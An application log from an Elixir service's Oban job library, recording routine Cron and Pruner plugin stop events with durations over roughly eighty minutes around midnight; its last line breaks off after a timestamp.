23:00:00.686 [info] {"source":"oban","duration":2277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:00:23.405 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:53.407 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:00.687 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:01:23.409 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:53.411 [info] {"source":"oban","duration":952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:00.689 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:02:23.413 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:53.415 [info] {"source":"oban","duration":952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:00.691 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:03:23.417 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:53.419 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:00.692 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:04:23.421 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:53.424 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:00.693 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:05:23.426 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:53.428 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:00.699 [info] {"source":"oban","duration":4223,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:06:23.430 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:53.432 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:00.702 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:07:23.434 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:53.436 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:00.703 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:08:23.439 [info] {"source":"oban","duration":1807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:53.441 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:00.704 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:09:23.443 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:53.445 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:00.708 [info] {"source":"oban","duration":3024,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:10:23.447 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:53.456 [info] {"source":"oban","duration":8540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:00.710 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:11:23.459 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:53.461 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:00.714 [info] {"source":"oban","duration":3152,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:12:23.465 [info] {"source":"oban","duration":3314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:53.467 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:00.718 [info] {"source":"oban","duration":3333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:13:23.469 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:53.470 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:00.720 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:14:23.472 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:53.475 [info] {"source":"oban","duration":1784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:00.725 [info] {"source":"oban","duration":2876,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:15:23.477 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:53.480 [info] {"source":"oban","duration":2510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:00.727 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:16:23.482 [info] {"source":"oban","duration":898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:53.484 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:00.728 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:17:23.486 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:53.488 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:00.731 [info] {"source":"oban","duration":2001,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:18:23.491 [info] {"source":"oban","duration":2207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:53.493 [info] {"source":"oban","duration":812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:00.740 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:19:23.495 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:53.497 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:00.742 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:20:23.499 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:53.501 [info] {"source":"oban","duration":851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:00.744 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:21:23.503 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:53.505 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:00.746 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:22:23.507 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:53.509 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:00.751 [info] {"source":"oban","duration":4082,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:23:23.511 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:53.513 [info] {"source":"oban","duration":907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:00.753 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:24:23.516 [info] {"source":"oban","duration":2551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:53.518 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:00.754 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:25:23.520 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:53.522 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:00.756 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:26:23.524 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:53.526 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:00.758 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:27:23.528 [info] {"source":"oban","duration":1192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:53.530 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:00.759 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:28:23.532 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:53.534 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:00.761 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:29:23.543 [info] {"source":"oban","duration":7891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:53.545 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:00.762 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:30:23.547 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:53.549 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:00.765 [info] {"source":"oban","duration":2040,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:31:23.551 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:53.553 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:00.769 [info] {"source":"oban","duration":2598,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:32:23.556 [info] {"source":"oban","duration":2118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:53.560 [info] {"source":"oban","duration":2419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:00.774 [info] {"source":"oban","duration":4469,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:33:23.563 [info] {"source":"oban","duration":2425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:53.565 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:00.779 [info] {"source":"oban","duration":1987,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:34:23.568 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:53.570 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:00.784 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:35:23.573 [info] {"source":"oban","duration":2033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:53.575 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:00.787 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:36:23.577 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:53.579 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:00.790 [info] {"source":"oban","duration":1746,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:37:23.582 [info] {"source":"oban","duration":1771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:53.586 [info] {"source":"oban","duration":3366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:00.794 [info] {"source":"oban","duration":2914,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:38:23.588 [info] {"source":"oban","duration":992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:53.590 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:00.798 [info] {"source":"oban","duration":1755,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:39:23.592 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:53.594 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:00.799 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:40:23.596 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:53.598 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:00.809 [info] {"source":"oban","duration":8797,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:41:23.600 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:53.602 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:00.810 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:42:23.604 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:53.606 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:00.815 [info] {"source":"oban","duration":3767,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:43:23.608 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:53.610 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:00.817 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:44:23.619 [info] {"source":"oban","duration":7786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:53.622 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:00.818 [info] {"source":"oban","duration":253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:45:23.624 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:53.626 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:00.819 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:46:23.628 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:53.630 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:00.820 [info] {"source":"oban","duration":243,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:47:23.632 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:53.634 [info] {"source":"oban","duration":986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:00.822 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:48:23.637 [info] {"source":"oban","duration":2417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:53.639 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:00.823 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:49:23.641 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:53.643 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:00.824 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:50:23.645 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:53.647 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:00.825 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:51:23.651 [info] {"source":"oban","duration":2708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:53.653 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:00.827 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:52:23.661 [info] {"source":"oban","duration":6861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:53.663 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:00.831 [info] {"source":"oban","duration":2719,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:53:23.671 [info] {"source":"oban","duration":7188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:53.674 [info] {"source":"oban","duration":1701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:00.833 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:54:23.677 [info] {"source":"oban","duration":2195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:53.680 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:00.836 [info] {"source":"oban","duration":1777,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:55:23.685 [info] {"source":"oban","duration":4094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:53.687 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:00.837 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:56:23.693 [info] {"source":"oban","duration":5563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:53.697 [info] {"source":"oban","duration":1849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:00.838 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:57:23.699 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:53.701 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:00.840 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:58:23.703 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:53.705 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:00.841 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:59:23.707 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:53.709 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:00.842 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:00:23.712 [info] {"source":"oban","duration":2004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:53.714 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:00.843 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:01:23.716 [info] {"source":"oban","duration":875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:53.718 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:00.844 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:02:23.722 [info] {"source":"oban","duration":2552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:53.724 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:00.845 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:03:23.726 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:53.729 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:00.846 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:04:23.731 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:53.735 [info] {"source":"oban","duration":2771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:00.847 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:05:23.740 [info] {"source":"oban","duration":4378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:53.743 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:00.848 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:06:23.746 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:53.748 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:00.851 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:07:23.750 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:53.753 [info] {"source":"oban","duration":1958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:00.853 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:08:23.762 [info] {"source":"oban","duration":7819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:53.764 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:00.855 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:09:23.770 [info] {"source":"oban","duration":4480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:53.772 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:00.856 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:10:23.776 [info] {"source":"oban","duration":3049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:53.779 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:00.857 [info] {"source":"oban","duration":242,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:11:23.786 [info] {"source":"oban","duration":5665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:53.790 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:00.858 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:12:23.795 [info] {"source":"oban","duration":4132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:53.799 [info] {"source":"oban","duration":1837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:00.859 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:13:23.806 [info] {"source":"oban","duration":6371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:53.810 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:00.860 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:14:23.816 [info] {"source":"oban","duration":5277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:53.819 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:00.861 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:15:23.822 [info] {"source":"oban","duration":1823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:53.824 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:00.863 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:16:23.826 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:53.828 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:00.865 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:17:23.830 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:53.832 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:00.868 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:18:23.836 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:53.838 [info] {"source":"oban","duration":898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:00.871 [info] {"source":"oban","duration":1393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:19:23.840 [info] 